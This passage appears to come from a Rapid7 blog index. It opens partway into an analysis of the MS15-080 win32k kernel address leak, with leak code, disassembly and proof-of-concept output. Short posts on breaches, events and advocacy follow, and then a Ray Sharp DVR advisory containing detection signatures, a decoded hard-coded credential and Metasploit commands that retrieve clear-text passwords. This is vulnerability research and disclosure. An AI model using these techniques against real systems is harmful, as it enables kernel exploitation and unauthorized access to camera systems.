leaked address // Check: High DWORD should be a kernel-mode address (i.e. // 0xffff0800`00000000). We make the check stricter by checking for a // subset of kernel-mode addresses. if ((hi & 0xfffff000) != 0xfffff000) { return NULL; } // Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using // the following computation. win32k_base_addr = ((ULONGLONG)hi << 32) | lo; // Adjust for offset to get base address of `win32k.sys`. win32k_base_addr -= 0x0003cf00; // Check: Base address of `win32k.sys` should be of the form // 0xFFFFFxxx`00xxx000. if ((win32k_base_addr & 0xff000fff) != 0) { return NULL; } MyDeleteDC(hdc); return win32k_base_addr; } The important line to retrieve the win32k.sys address is: // Leak the address and retrieve it from `buffer`. MyGetTextMetricsW(hdc, INFOLEAK_BUFFER); This will invoke the NtGdiGetTextMetricsW syscall, whose purpose, according to the msdn documentation, is to fill "the specified buffer with the metrics for the currently selected font.". Filling a buffer with metrics coming from the kernel definitely sounds interesting . Here is the prototype for the user space API: BOOL GetTextMetrics( _In_ HDC hdc, _Out_ LPTEXTMETRIC lptm ); And here is the syscall prototype, according to ReactOS: W32KAPI BOOL APIENTRY NtGdiGetTextMetricsW(IN HDC hDC, OUT TMW_INTERNAL * pUnsafeTmwi, IN ULONG cj) Where: hDC: is a handle to a device context (this matches with the user space signature). pUnsafeTmwi: according to the userspace API, should be a pointer to a TEXTMETRICSW structure, but according to the syscall definition by ReactOS the kernel should receive a TMW_INTERNAL pointer. By the way this is the destination in user space where the metrics will be stored. cj: is the size of the destination user space buffer pUnsafeTmwi (destination buffer). The first thing that calls our attention is the third parameter. Can we provide an arbitrary length to copy? No, we can not get more than 0x44 bytes, according to the next NtGdiGetTextMetricsW check: .text:FFFFF97FFF00754A cmp r8d, 44h .text:FFFFF97FFF00754E jb loc_FFFFF97FFF .text:FFFFF97FFF0075DF loc_FFFFF97FFF0075DF: .text:FFFFF97FFF0075DF mov eax, edx .text:FFFFF97FFF0075E1 add rsp, 70h .text:FFFFF97FFF0075E5 pop rbx .text:FFFFF97FFF0075E6 retn Next, we are interested in the second argument, specially the differences between the user space definition and the kernel prototype (at least in the prototype used by ReactOS). According to the TEXTMETRICW definition, 0x44 bytes is too much data to copy, since the structure size only has 0x39 bytes of valid data (even with the padding bytes inserted by the C compiler). typedef struct tagTEXTMETRICW { LONG tmHeight; LONG tmAscent; LONG tmDescent; LONG tmInternalLeading; LONG tmExternalLeading; LONG tmAveCharWidth; LONG tmMaxCharWidth; LONG tmWeight; LONG tmOverhang; LONG tmDigitizedAspectX; LONG tmDigitizedAspectY; WCHAR tmFirstChar; WCHAR tmLastChar; WCHAR tmDefaultChar; WCHAR tmBreakChar; BYTE tmItalic; BYTE tmUnderlined; BYTE tmStruckOut; BYTE tmPitchAndFamily; BYTE tmCharSet; } TEXTMETRICW, *PTEXTMETRICW, NEAR *NPTEXTMETRICW, FAR *LPTEXTMETRICW; Reviewing the NtGdiGetTextMetricsW assembly code before the patch, it copies the contents of the TEXTMETRICW to a kernel local variable on the stack, with the help of GrGetTextMetricsW: .text:FFFFF97FFF007554 lea rdx, [rsp+78h+var_58] ; rdx comes from the stack .text:FFFFF97FFF007559 call GreGetTextMetricsW It will then copy 0x44 bytes from this kernel space memory to the user space buffer sent with the syscall: .text:FFFFF97FFF00758D loc_FFFFF97FFF00758D: .text:FFFFF97FFF00758D mov rax, [rsp+78h+var_58] .text:FFFFF97FFF007592 mov [rbx], rax .text:FFFFF97FFF007595 mov rax, [rsp+78h+var_50] .text:FFFFF97FFF00759A mov [rbx+8], rax .text:FFFFF97FFF00759E mov rax, [rsp+78h+var_48] .text:FFFFF97FFF0075A3 mov [rbx+10h], rax .text:FFFFF97FFF0075A7 mov rax, [rsp+78h+var_40] .text:FFFFF97FFF0075AC mov [rbx+18h], rax .text:FFFFF97FFF0075B0 mov rax, [rsp+78h+var_38] .text:FFFFF97FFF0075B5 mov [rbx+20h], rax .text:FFFFF97FFF0075B9 mov rax, [rsp+78h+var_30] .text:FFFFF97FFF0075BE mov [rbx+28h], rax .text:FFFFF97FFF0075C2 mov rax, [rsp+78h+var_28] .text:FFFFF97FFF0075C7 mov [rbx+30h], rax .text:FFFFF97FFF0075CB mov rax, [rsp+78h+var_20] .text:FFFFF97FFF0075D0 mov [rbx+38h], rax .text:FFFFF97FFF0075D4 mov eax, [rsp+78h+var_18] .text:FFFFF97FFF0075D8 mov [rbx+40h], eax Checking the patch spotted by Greg Linares, it is initializing the kernel local variable used by win32k!NtGdiGetTextMetricsW to hold the copy of the TEXTMETRICW contents: .text:FFFFF97FFF007540 xor edx, edx ; Val .text:FFFFF97FFF007542 cmp r8d, 44h .text:FFFFF97FFF007546 jb loc_FFFFF97FFF0075E8 .text:FFFFF97FFF00754C lea r8d, [rdx+44h] ; Size .text:FFFFF97FFF007550 lea rcx, [rsp+78h+Dst] ; Dst .text:FFFFF97FFF007555 call memset Unfortunately, the problem isn't only NtGdiGetTextMetricsW not initializing the local variable. It is also copying to user space more data than the 1TEXTMETRICW contents. If you keep tracing the code that fills the kernel local variable, you will reach win32k!bGetTextMetrics. There, 0x44 bytes are again copied from kernel dynamic memory to the local kernel buffer (pointed by r8): .text:FFFFF97FFF013BC5 mov r10, [r9+2B8h] .text:FFFFF97FFF013BCC test r10, r10 .text:FFFFF97FFF013BCF jz loc_FFFFF97FFF013C5B .text:FFFFF97FFF013BD5 mov rax, [r10] .text:FFFFF97FFF013BD8 mov r9d, 0FFh .text:FFFFF97FFF013BDE mov [r8], rax .text:FFFFF97FFF013BE1 mov rax, [r10+8] .text:FFFFF97FFF013BE5 mov [r8+8], rax .text:FFFFF97FFF013BE9 mov rax, [r10+10h] .text:FFFFF97FFF013BED mov [r8+10h], rax .text:FFFFF97FFF013BF1 mov rax, [r10+18h] .text:FFFFF97FFF013BF5 mov [r8+18h], rax .text:FFFFF97FFF013BF9 mov rax, [r10+20h] .text:FFFFF97FFF013BFD mov [r8+20h], rax .text:FFFFF97FFF013C01 mov rax, [r10+28h] .text:FFFFF97FFF013C05 mov [r8+28h], rax .text:FFFFF97FFF013C09 mov rax, [r10+30h] .text:FFFFF97FFF013C0D mov [r8+30h], rax .text:FFFFF97FFF013C11 mov rax, [r10+38h] .text:FFFFF97FFF013C15 mov [r8+38h], rax .text:FFFFF97FFF013C19 mov eax, [r10+40h] .text:FFFFF97FFF013C1D mov [r8+40h], eax Checking the ReactOS code, we see that TEXTMETRICW is part of a longer structure, named TMW_INTERNAL on ReactOS: /* Font Structures */ typedef struct _TMDIFF { ULONG cjotma; CHAR chFirst; CHAR chLast; CHAR ChDefault; CHAR ChBreak; } TMDIFF, *PTMDIFF; typedef struct _TMW_INTERNAL { TEXTMETRICW TextMetric; TMDIFF Diff; } TMW_INTERNAL, *PTMW_INTERNAL; My bet is that the win32k.sys pointer is being leaked from the data belonging to the TMW_INTERNAL structure, which wraps an TEXTMETRICW structure. Indeed, if you take into account the TMW_INTERNAL structure, the 0x44 length (with padding) makes sense As a final note, ReactOS's method of filling the TMW_INTERNAL structure improves upon the MS15-080 patch and better closes the info leak. The strategy is: Initialize (zero) the local variable, as MS15-080 already does. When copying the data to the kernel local variable, the kernel should zero the TMDIFF space, since only the TEXTMETRICW data should reach user space later. It is what ReactOS does. if (NT_SUCCESS(Status)) { FillTM(&ptmwi->TextMetric, FontGDI, pOS2, pHori, !Error ? &Win : 0); /* FIXME: Fill Diff member */ RtlZeroMemory(&ptmwi->Diff, sizeof(ptmwi->Diff)); }    3. Additionally, the TEXTMETRICW padding should be zero'd also before copying the data to user space. I have published a simple proof-of-concept for playing with this info leak here: jvazquez-r7/ht_win32k_info_leak · GitHub. This is the result of executing it on a machine with MS15-080 applied: c:\InfoLeak\x64\Release>InfoLeak.exe DeleteDC [*] It looks like a kernel address, check if it's in the win32k.sys range [*] Leak: fffff960001ba900 kd> lm m win32k start end module name fffff960`0017d000 fffff960`00593000 win32k (deferred)

Making Your Voice Heard for the Future of Automotive Safety

TL;DR: Show Your Support to Secure the Future of Automotive SafetyAbout a year and a half ago, Josh Corman and I began having a discussion about the rapid adoption of technology that has the ability to impact human life and public safety. We came…

TL;DR: Show Your Support to Secure the Future of Automotive SafetyAbout a year and a half ago, Josh Corman and I began having a discussion about the rapid adoption of technology that has the ability to impact human life and public safety. We came to the conclusion that technology is advancing faster than our ability to security it. When we say "our", this is all of us. It is the software developers who write the code that drives the hardware we are using. It is the consumers who need to securely maintain this technology. It is the businesses who go to market with the products that we buy. These early discussion became a security conference talk at BSidesLV and DEF CON in 2013. Rather than presenting to these communities on what we need to do to solve these problems, we wanted to start a conversation. Most of our community members had been focused on finding the latest zero day in consumer and business software powering traditional internet access technologies and information systems, while only a handful had focused on technology that would truly touch or impact human lives. We saw this as a problem and wanted to work to motivate people to spend more time "researching what matters" but in a way that would drive positive change.The presentations started a number of conversation both online and offline. Today, the online conversations are taking place on Twitter and a Google Group mailing list. The offline conversations are happening at non-infosec industry events, with media, at private manufactures events, and even on Capital Hill.During the first year, we honed our mission and the the group became focused on technologies within medical devices, automobiles, home electronics and public infrastructure industries.The future of this activity which has become known as "I am The Cavalry" (or IATC, or even just the "Cavalry Movement") is making strides to become a 501(c)(3) educational foundation focused on providing opportunities to build public awareness and hold open collaboration sessions between security researchers and industry representatives on developing news ways to tackle the security problems we'll face in the future.At DEF CON 22, Josh and I gave a presentation on what the Cavalry has been up to over the previous year, but also announced the results of a major initiative.We spent about 9 months collaborating with security researchers, automotive engineers, policy makers, insurance agents, accident investigators, and standards organizations to develop a "Five Star Automotive Cyber Safety Program" through an Open Letter to the Automotive Industry."This letter urges carmakers to:Acknowledge that vehicle safety issues can be caused by cybersecurity issues;Embrace security researchers as willing allies to preserve safety and trust;Attest to these five foundational capabilities to improve visibility of their Cyber Safety programs;Initiate collaboration now to avert negative consequences in the future."If you are interested in the future our automotive safety (and who isn't?) please sign the Change.org petition and join the several hundred other people from around the world who are in support of this important cause.This is just the start of things to come. I hope you will join us!Nicholas J. Percoco (@c7five)Vice President, Strategic ServicesRapid7

Can 800,000 individuals compromised at the French Orange breach put you at risk?

We just read about an attack on Orange France, where 800,000 people have potentially had their information compromised. The data that was accessed included names, mailing addresses, phone numbers, email addresses, customer accounts, and IDs.This could potentially trigger a domino effect of other…

We just read about an attack on Orange France, where 800,000 people have potentially had their information compromised. The data that was accessed included names, mailing addresses, phone numbers, email addresses, customer accounts, and IDs.This could potentially trigger a domino effect of other companies being breached due to the personal data that the attackers acquired. There is a huge marketplace for selling personal data online.Since people tend to reuse the same password across different websites and their corporate accounts, the attackers may try to access these services by reusing the acquired password, by guessing credentials based on various passwords that were used in the Orange services in the past, and by having personal data that could be used for the password recovery questions. The personal data that was uncovered could also be used to craft phishing campaigns that would deceive users into compromising their corporate credentials.  Even highly trained individuals could click a link in a well-crafted phishing mails, just because sophisticated attackers make them look real and include personal information that helps deceive the individual. We developed Rapid7 UserInsight, so that you can fight deception-based attacks on your users.  We included in UserInsight capabilities to detect indication of deception including:Access to the network from and to malicious domains Elevated domain privileges Reactivation of disabled accountsUser account information leaked in major breachesUser account information offered for sale All of these are common behaviors that attackers use after compromising user credential in common deception-based attacks. I recently discussed this topic in my webcast "The Anatomy of Deception Based Attacks", which I highly recommend you to watch.

40% of the COUNTRY hacked!

With the US retail market reeling from a tough end to the holiday season due to security breaches a little news from overseas shows this problem has no borders and is continuing to grow.  Headlines are designed to be the hook to the article…

With the US retail market reeling from a tough end to the holiday season due to security breaches a little news from overseas shows this problem has no borders and is continuing to grow.  Headlines are designed to be the hook to the article and occasionally get trumped up, but in this case the numbers tell the story without need to exaggerate, 40% of the population of South Korea, ~20 million people, had their personal data stolen or otherwise compromised via a weak link in the security chain.  Over the course of ~18 months an employee was able to repeatedly connect an external drive and download proprietary information resulting in the largest data breach in the history of the country.  Did you know that one of the 11 controls that Rapid7 ControlsInsight can help secure is the USB port?  That same port where a drive can easily be attached for data download.The result of that South Korean breach - reduced revenue and increased costs.  Three companies are being forced to suspend operations for 3 months.  Add up the cost of reissuing all those compromised cards along with the rest of the customer base now with a legitimate reason to demand a new card - estimates vary from a few dollars to $15 per card reissued.  Combine that with the impact upon your customer services organization when every customer calls to complain?  How would your corporate earnings look if you removed Q1 from the revenue pool but kept many of those Q1 associated costs and added some additional ones?Yikes...

Hacking as One Moose

Twelve hours into Rapid7's Annual Global Domination Hackathon and we are still going strong. Pulling together all the members of our global team for a multi-day kickoff in Boston gave us a fantastic opportunity to collect the wealth of talent and share in an epic…

Twelve hours into Rapid7's Annual Global Domination Hackathon and we are still going strong. Pulling together all the members of our global team for a multi-day kickoff in Boston gave us a fantastic opportunity to collect the wealth of talent and share in an epic hackathon event. Our cross-functional teams are getting their creative juices flowing, chugging Red Bulls and 5-hour energies, building robotic versions of our CTOs, destroying watermelons, driving million dollar virtual cars... and of course, innovating. Here is a peak into the fun we are having pre-sunrise:Four more hours to go... Gimme some more caffeine, a Macbook, and source-countrol.

Rapid7: Coming to a city near you

We're taking this show on the road. Literally. This week our multi-city Rapid7 roadshow event, “Security at the Crossroads,” kicked off in New York and Minneapolis. Industry experts and fellow practitioners – including speakers from Forrester, Cardinal Innovations Healthcare Solutions, Vertex Pharmaceuticals, Porter…

We're taking this show on the road. Literally. This week our multi-city Rapid7 roadshow event, “Security at the Crossroads,” kicked off in New York and Minneapolis. Industry experts and fellow practitioners – including speakers from Forrester, Cardinal Innovations Healthcare Solutions, Vertex Pharmaceuticals, Porter Airlines, and TriNet – gathered to share security stories, strategies, and best practices. There isn't enough room to share all the takeaways from these two events, but here are some speaker sound bites (and stay tuned for pictures):On why you can't just build a higher wall: “There's been an increase in deception-based attacks – attackers nowadays aren't just going to try to get over the wall, they're going to follow someone in the front door hoping nobody notices them.” On being strategic when reporting threats and vulnerabilities to upper management: “Don't just drop information in their laps. Include evidence as to what you think is happening.”On why users are the weakest link: “Productivity always wins. At the end of the day, employees [using cloud services] are just trying to get the job done.”On social engineering threats: “Attackers will ask, ‘How do I attack someone without creating a lot of noise?' It's always easier to call and ask for a password versus trying to crack it.”On knowing your organization's weaknesses: “Nobody will try breaking in through a window if your front door is open.”If any of this sparks your interest, there's still time to register for Santa Monica, Washington DC, or Phoenix. Did we mention attendance is free? Oh, and also you get 6 CPE credits. Hope to see you there!

Putting the Fax Straight: Rapid7.com and Metasploit.com Website Defacement

We want to share a short update regarding the defacement of Rapid7.com and Metasploit.com last week. A malicious 3rd party, claiming to be KDMS, changed the DNS settings with our domain registrar, Register.com.We have heard from Register.com that the attacker…

We want to share a short update regarding the defacement of Rapid7.com and Metasploit.com last week. A malicious 3rd party, claiming to be KDMS, changed the DNS settings with our domain registrar, Register.com.We have heard from Register.com that the attacker did NOT use a spoofed change request fax as originally and unintentionally communicated by Register.com. It's more likely the attackers used other social engineering techniques, resulting in compromised credentials of a Register.com employee.  We're waiting for the incident report from Register.com and will share more details when we have them so that we can all learn from the incident.

HackMiami Web Application PwnOff - Nexpose w/Metasploit Dominated

During the HackMiami 2013 Hacker Conference held in Miami Beach, a live Web Application Scanner PwnOff contest pitted common web scanning suites against each other. Participates included Acunetix, IBM Rational AppScan, NT OBJECTives NTOSpider, Portswigger Burp, and Rapid7 Nexpose with Metasploit.In a head-to-head battle…

During the HackMiami 2013 Hacker Conference held in Miami Beach, a live Web Application Scanner PwnOff contest pitted common web scanning suites against each other. Participates included Acunetix, IBM Rational AppScan, NT OBJECTives NTOSpider, Portswigger Burp, and Rapid7 Nexpose with Metasploit.In a head-to-head battle each of the automated web application scanning suites went up against PHP, JSP, and .NET web applications specifically created for hacking tournaments to simulate realistic & challenging situations. The competition tried to exploit SQLi and XSS vulnerabilities as well as other common web vulnerabilities. The winner of the contest was determined by the 4 different metrics: Ease of Interface, Vulnerability Detection, Reporting, and Overall Value.  You can view the results from the contest in the their comprehensive whitepaper. Nexpose Web application scanner received a 19.8 out of a possible 20 points. Let me repeat that, 19.8 out of 20. That's almost a perfect score. A big shout out goes to our Nexpose development team for all their great work, and we'll see you next year in Miami!"Nexpose has a comprehensive knowledgebase and a great engine for detecting vulnerabilities."-HackMiami

Ray Sharp CCTV DVR Password Retrieval & Remote Root

On January 22, 2013, a researcher going by the name someLuser detailed a number of security flaws in the Ray Sharp DVR platform. These DVRs are often used for closed-circuit TV (CCTV) systems and security cameras. In addition to Ray Sharp, the exposures seem to…

On January 22, 2013, a researcher going by the name someLuser detailed a number of security flaws in the Ray Sharp DVR platform. These DVRs are often used for closed-circuit TV (CCTV) systems and security cameras. In addition to Ray Sharp, the exposures seem to affect rebranded DVR products by Swann, Lorex, URMET, KGuard, Defender, DEAPA/DSP Cop, SVAT, Zmodo, BCS, Bolide, EyeForce, Atlantis, Protectron, Greatek, Soyo, Hi-View, Cosmos, and J2000. The vulnerabilities allow for unauthenticated access to the device configuration, which includes the clear-text usernames and passwords that, once obtained, can be used to execute arbitrary system commands root through a secondary flaw in the web interface. someLuser's blog post includes a script for obtaining the clear-text passwords as well as a standalone exploit that yields a remote root shell on any vulnerable device. In short - this provides remote, unauthorized access to security camera recording systems. These types of flaws are common in embedded appliances, but the impact is limited by firewalls and other forms of network access control. A vulnerable DVR that is protected by the corporate firewall is not much of a risk for most organizations. In this case, however, the situation is substantially worse. The Ray Sharp DVR platform supports the Universal Plug and Play (UPnP) protocol and automatically exposes the device to the internet if a UPnP-compatible router is responsible for network address translation (NAT) on the network. Many home and small office routers enable UPnP by default. This has the effect of exposing tens of thousands of vulnerable DVRs to the internet. For reference, the Ray Sharp firmware uses the "minupnp" open source implementation to perform this port mapping. To determine the exposure level, I worked with someLuser to determine signatures for the web interface. The two most common models could be detected with the following signatures: self.location = "webclient.html" <TITLE>Web Client for DVR</TITLE> These two signatures were matched against all HTTP services within the critical.io database. This returned over 58,000 unique IPs that were running a vulnerable DVR platform. This list covered over 150 countries, with the largest portion (~19,000) located within the United States, followed by India (~6,000), and Italy (~5,700). Interestingly enough, the beloved firmware-mod-kit package used for router tweaks also succeeds in unpacking the firmware provided by Swann. This provides an easy way to obtain the raysharp_dvr ELF image without rooting the device over the serial console. This binary implements almost all of the device's functionality, including everything from the web server to the CD-ROM writer based on cdrecord. In addition to being a terrible architecture, this may have inadvertent licensing implications. A quick analysis of the binary points out another feature - in order to make these systems even more hackable easier to access, they can automatically register their IP with a dynamic DNS service. Based on raysharp_dvr binary, the following dynamic DNS providers are supported: dyndns.org bliao.com lorexddns.net myq-see.com ltscctv.com systemport.net members.3322.org easterndns.com newddns.com nightowldvr.com smartcontroldns.net kguard.org no-ip.com freedns.afraid.org changeip.com dnsexit.com ddns.com.br swanndvr.com To make things interesting, the user-agent sent is_ "myclient 1.0 caiwang213@163.com"_ and a hard-coded credential is present within the binary, which decodes as: TsnNua31U1UAAJguFeQ:6731998 This hardcoded credential seems to be related to the freedns.afraid.org service, but this could not be confirmed. The hardcoded user agent, however, has caused concern before. To make matters worse, the version of OpenSSL compiled into this binary is OpenSSL 0.9.8j (07 Jan 2009), a version that is over three years old and rife with security problems. A quick review with IDA Pro identifies a number of trivial mistakes, including unbounded strcpy() calls. One particular gem that stood out is listed below: A Metasploit module has been added that can be used to scan for vulnerable devices. Metasploit Pro users should click on Modules and search for raysharp_dvr_passwords. The Ray Sharp DVR Password Retriever module should be selected. For Metasploit console uses, enter the following command to select the appropriate module: $ sudo -s -E # msfconsole msf> use auxiliary/scanner/misc/raysharp_dvr_passwords Once the module is loaded, enter the IP or IP range that you would like to test: msf auxiliary(raysharp_dvr_passwords) > set RHOSTS 192.168.0.0/24 msf auxiliary(raysharp_dvr_passwords) > set THREADS 256 msf auxiliary(raysharp_dvr_passwords) > run [+] 192.168.0.153:9000 (user='admin' pass='1234546') mac=00-23-63-63-63-63 version=V2.1-20110716 Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Upcoming Event

UNITED 2017

Rapid7's annual security summit is taking place September 12-14, 2017 in Boston, MA. Join industry peers for candid talks, focused trainings, and roundtable discussions that accelerate innovation, reduce risk, and advance your business.

Register Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now